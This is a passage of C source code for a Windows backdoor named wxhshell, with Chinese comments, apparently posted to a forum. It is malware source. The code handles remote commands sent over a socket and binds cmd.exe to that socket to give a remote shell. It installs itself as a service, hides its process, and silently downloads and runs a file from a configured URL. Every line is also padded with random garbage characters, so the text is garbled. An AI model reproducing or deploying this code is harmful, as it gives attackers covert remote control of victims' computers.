    switch(cmd[0]) { wdo(K.m  
  P1u(0t  
  // 帮助 49?wEm#  
  case '?': { z?I"[M  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qe3d,!  
    break; `Hp=1a  
  } GVK c4HGt  
  // 安装 s'4%ZE2Dr  
  case 'i': { GnFm*L  
    if(Install()) ,%X"Caz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fuQk}OW{  
    else ][TA7pDPV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E gD$A!6N8  
    break; 6F8TiR&  
    } ^(+@uuBx  
  // 卸载 !(8) '<t9  
  case 'r': { b'1m 9T780  
    if(Uninstall()) 9@^N* E+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -SlAt$IJ  
    else O/b1^ Y   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jb83Y>  
    break; HrS-o=  
    } uGU-MC *  
  // 显示 wxhshell 所在路径 U)6Ew4uRxV  
  case 'p': { L}UrI&]V$:  
    char svExeFile[MAX_PATH]; ZU68\cL  
    strcpy(svExeFile,"\n\r"); U9Gg#M4tY  
      strcat(svExeFile,ExeFile); ,:6.Gi)|  
        send(wsh,svExeFile,strlen(svExeFile),0); @ QfbIP9  
    break; G{u(pC^  
    } a^eR~efdu@  
  // 重启 pqDlg  
  case 'b': { W_bA.z T{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); kk$D:UQX  
    if(Boot(REBOOT)) R+5yyk\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); orZwm9#].  
    else { Fgw$;W  
    closesocket(wsh); CuFlI?~8 z  
    ExitThread(0); RV>n Op}R  
    } 4&<zkAMR  
    break; f3SAK!V+s  
    } d;g]OeF  
  // 关机 J?/NJ-F  
  case 'd': { ^0(`:*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r"W<1H u  
    if(Boot(SHUTDOWN)) h3(B7n7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }_fVv{D   
    else { T~naAP  
    closesocket(wsh); ')Qb,#/,%  
    ExitThread(0); p]Q(Z  
    } BYZllwxwTE  
    break; 98Im/v  
    } ]htx9ds=  
  // 获取shell 2>vn'sXdj  
  case 's': { = /kT|  
    CmdShell(wsh); fO}Y$y\q  
    closesocket(wsh); oR}'I  
    ExitThread(0); N6h.zl&04  
    break; =`t%p1   
  } jTN!\RH9NF  
  // 退出 QuBaG<  
  case 'x': { %iD'2e:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /H$/s=YU\U  
    CloseIt(wsh); 2l}3L  
    break; 5[A4K%EL  
    } bdyIt)tK+  
  // 离开 "FXT8Qxg  
  case 'q': { }^ZPah  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ktiC*|fd  
    closesocket(wsh); u<nPJeE  
    WSACleanup(); aZL FsSY  
    exit(1); B'KZ >jO  
    break; t**o<p#)f  
        } ''wF%q  
  } Am)XbN')1  
  } IfpFsq:  
(\ Gs7  
  // 提示信息 d1/uI^8>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BZRC0^-C@  
} v DVE#Nm_  
  } &+7G|4!y  
Y 9~z7  
  return; 3QD##Wr^  
} Cs8e("w  
M UqV$#4@I  
// shell模块句柄 #AUa'qB t  
int CmdShell(SOCKET sock) ntEf-x<  
{ pax;#*QcQ  
STARTUPINFO si; roE*8:Y  
ZeroMemory(&si,sizeof(si)); r$z0C&5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s(M8 Y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /]"2;e-s+  
PROCESS_INFORMATION ProcessInfo; (f?&zQ!+  
char cmdline[]="cmd"; ee{8C~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); X00!@ ^g  
  return 0; tS&rR0<OW  
} Mwd(?o  
3*$)9'  
// 自身启动模式 ,MdK "Qa>  
int StartFromService(void) Jp]eFaqp  
{ h`,!p  
typedef struct d}RR!i`<N  
{ \t 04-  
  DWORD ExitStatus; s6J`i&uu  
  DWORD PebBaseAddress; -% Z?rn2  
  DWORD AffinityMask; 0N19R5NN8  
  DWORD BasePriority; yZ]u{LJS  
  ULONG UniqueProcessId; }0?\H)/edP  
  ULONG InheritedFromUniqueProcessId; c;pv< lX'  
}   PROCESS_BASIC_INFORMATION; V_Oj?MMp n  
6!^&]4  
PROCNTQSIP NtQueryInformationProcess; {@w!kl~8  
BR [3i}Ud  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f/6,b&l,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; yxz"9PE/P  
_r&,n\ T  
  HANDLE             hProcess; q:/<^|  
  PROCESS_BASIC_INFORMATION pbi; Xv'5%o^i*  
Uc?#E $X  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); uWE :3  
  if(NULL == hInst ) return 0; u+Q<> >lU  
xLmgr72D  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7r4|>F  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -*T<^G;rK  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); a{FCg%vD)  
O>H'o k  
  if (!NtQueryInformationProcess) return 0; fyE#8h_>4  
<4|/AF*>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); jA}b=c  
  if(!hProcess) return 0; IDIok~B=e  
hPB^|#}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C>:'@o Z  
Btgxzf  
  CloseHandle(hProcess); s}3`%?,6y  
awic9 uMH  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %2jRJ  
if(hProcess==NULL) return 0; _^5OoE"}!  
*VPj BzcH  
HMODULE hMod; KtO|14R:  
char procName[255]; WQ1~9#  
unsigned long cbNeeded; 9_  
e(~9JP9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <X b B;  
p&nPzZQL(  
  CloseHandle(hProcess); /eO :1c  
>3Mzs AH\  
if(strstr(procName,"services")) return 1; // 以服务启动 8$TSQ~  
;n~-z5)  
  return 0; // 注册表启动 f"}g5eg+  
} w 4fz!l]  
!Enq2  
// 主模块 nde_%d$  
int StartWxhshell(LPSTR lpCmdLine) ZZu{c t9  
{ S 4hv7.A  
  SOCKET wsl; -/'_XR@1  
BOOL val=TRUE; L]kd.JJvy  
  int port=0; Qu;cl/&  
  struct sockaddr_in door; {)?:d6"  
8%ea(|Wjg  
  if(wscfg.ws_autoins) Install(); Id}/(Pkq  
``?79MJ5  
port=atoi(lpCmdLine); Nm7YH@x*o  
Z)^1~!w0  
if(port<=0) port=wscfg.ws_port; @?vC4+'  
PptVneujI  
  WSADATA data; )p^" J|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; r&y0`M  
31^Jg  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   qC x|}5:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); wr-/R"fX  
  door.sin_family = AF_INET; uSgR|b;R]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); YstR T1  
  door.sin_port = htons(port); (xdC'@&  
e1OGGF%E n  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $Vp*,oRL  
closesocket(wsl); .US=fWyrb  
return 1; ~~\C.6c#  
} H-&T)  
4'wbtE|  
  if(listen(wsl,2) == INVALID_SOCKET) { e=^^TX`I  
closesocket(wsl); 2Wn*J[5  
return 1; [p+-]V  
} C==yl"w  
  Wxhshell(wsl); v8} vk]b  
  WSACleanup(); uo8[,'  
omMOA  
return 0; *671MJ 9  
TT@ U_^o  
} _1,hO?TK  
+6`+Q2qi  
// 以NT服务方式启动 fg)VO6Wo&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) PS}'LhZ  
{ KcvstC`  
DWORD   status = 0; l+A)MJd oj  
  DWORD   specificError = 0xfffffff; ;l %$-/%  
4`GOBX1b.y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~NMx:PP  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )GYnQoV4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @tvz9N  
  serviceStatus.dwWin32ExitCode     = 0; = ;cTm5d;T  
  serviceStatus.dwServiceSpecificExitCode = 0; s(Bcw`'#  
  serviceStatus.dwCheckPoint       = 0; )Yu  
  serviceStatus.dwWaitHint       = 0; uc>":V  
jNvDE}'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); w *M&@+3I  
  if (hServiceStatusHandle==0) return; %E\zR/  
X- ZZLl#  
status = GetLastError(); d%za6=M  
  if (status!=NO_ERROR) bFIM07  
{ 9 {wRqY  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [=BccT:b  
    serviceStatus.dwCheckPoint       = 0; ,gpZz$Ef(  
    serviceStatus.dwWaitHint       = 0; rJ)j./c  
    serviceStatus.dwWin32ExitCode     = status; W#P`Y< u$  
    serviceStatus.dwServiceSpecificExitCode = specificError; Zz1nXUZ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); vSu dT  
    return; KdBpfPny@  
  } >qz#&  
Y b=77(Q V  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3=Q:{  
  serviceStatus.dwCheckPoint       = 0; =%B5TBG  
  serviceStatus.dwWaitHint       = 0; 5-hnk' ~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Z)}UCi+/".  
} zM,r0Z  
C-@[=  
// 处理NT服务事件,比如:启动、停止 .* )e24`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .P <3+  
{ byFO^pce  
switch(fdwControl)  l*?_@  
{ %tMx48'N  
case SERVICE_CONTROL_STOP: lSg[7lt  
  serviceStatus.dwWin32ExitCode = 0; !:PiQ19 'u  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -.Blj<2ah  
  serviceStatus.dwCheckPoint   = 0; _%[po%]  
  serviceStatus.dwWaitHint     = 0; YF)]B|I  
  { 84WX I#BH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >%ovL8F  
  } c: r25  
  return; RfOJUz  
case SERVICE_CONTROL_PAUSE: QC?~$>h!?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; w_f.\\1r  
  break; ]rv4O@||w  
case SERVICE_CONTROL_CONTINUE: %vv`Vx2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Sx[ eX,q  
  break; MkL)  
case SERVICE_CONTROL_INTERROGATE: ZfH +Iqd  
  break; ua)jGif  
}; m"T}em#   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ftG3!}  
} 9QaE)wt  
?ac4GA(  
// 标准应用程序主函数 Vr|e(e.%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) e P,bFc  
{ QtwQVOK  
pI:,Lt1B  
// 获取操作系统版本 .faf!3d  
OsIsNt=GetOsVer(); Y hQ)M5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ruQt0q,W3%  
8qqN0"{,  
  // 从命令行安装  vTgx7gP  
  if(strpbrk(lpCmdLine,"iI")) Install(); x_ /}R3d  
n1JtY75#,/  
  // 下载执行文件 tYXE$ i  
if(wscfg.ws_downexe) { {l)$9!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) EJ>&\Iq  
  WinExec(wscfg.ws_filenam,SW_HIDE); fZezDm(Q  
} 6Cz O ztn  
qVKdc*R-  
if(!OsIsNt) { o K>(yC[  
// 如果时win9x,隐藏进程并且设置为注册表启动 WR3,woo  
HideProc(); `sCn4-$8  
StartWxhshell(lpCmdLine); ,sIC=V +  
} @AF<Xp{  
else V^,eW!  
  if(StartFromService()) BZ =I/L  
  // 以服务方式启动 \"1>NJn&k)  
  StartServiceCtrlDispatcher(DispatchTable); =#/Kg_RKL  
else xZP*%yM  
  // 普通方式启动 f4fBUZ^ A  
  StartWxhshell(lpCmdLine); f-G)pHm  
#R{>@]x`  
return 0; 3*& Y'/!  
}
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只看该作者 1 发表于: 2006-10-10
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